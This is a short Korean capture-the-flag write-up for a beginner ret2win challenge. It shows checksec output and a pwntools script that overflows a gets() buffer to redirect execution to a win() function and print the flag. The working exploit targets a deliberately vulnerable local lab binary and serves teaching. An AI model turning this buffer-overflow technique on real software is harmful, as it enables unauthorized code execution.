guest@openpesto.com:~$ cat ctf/sample-pwn.md

# ret2win: 가장 단순한 익스플로잇

스택 카나리도 PIE도 없는 평화로운 바이너리. 교과서 같은 ret2win.

정찰

$ checksec ./vuln
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    PIE:      No PIE (0x400000)

win() 함수가 떡하니 있고, 입력은 gets()로 받는다. 더 볼 것도 없다.

익스플로잇

from pwn import *

io  = process("./vuln")
win = 0x401176          # objdump -d ./vuln | grep win
pad = b"A" * 40         # rbp까지 32 + saved rbp 8

payload = flat(pad, win)
io.sendline(payload)
io.interactive()        # $ cat flag.txt

오프셋 40바이트 뒤에 리턴 주소를 win()으로 덮으면 끝. 정렬(ret 가젯) 이슈가 나면 win 앞에 ret 한 번 끼워주면 된다.

flag{a_humble_beginning}

NORMAL guest@openpesto.com ~/ctf/sample-pwn.md ESC:shell · utf-8 · 2 posts · up 903d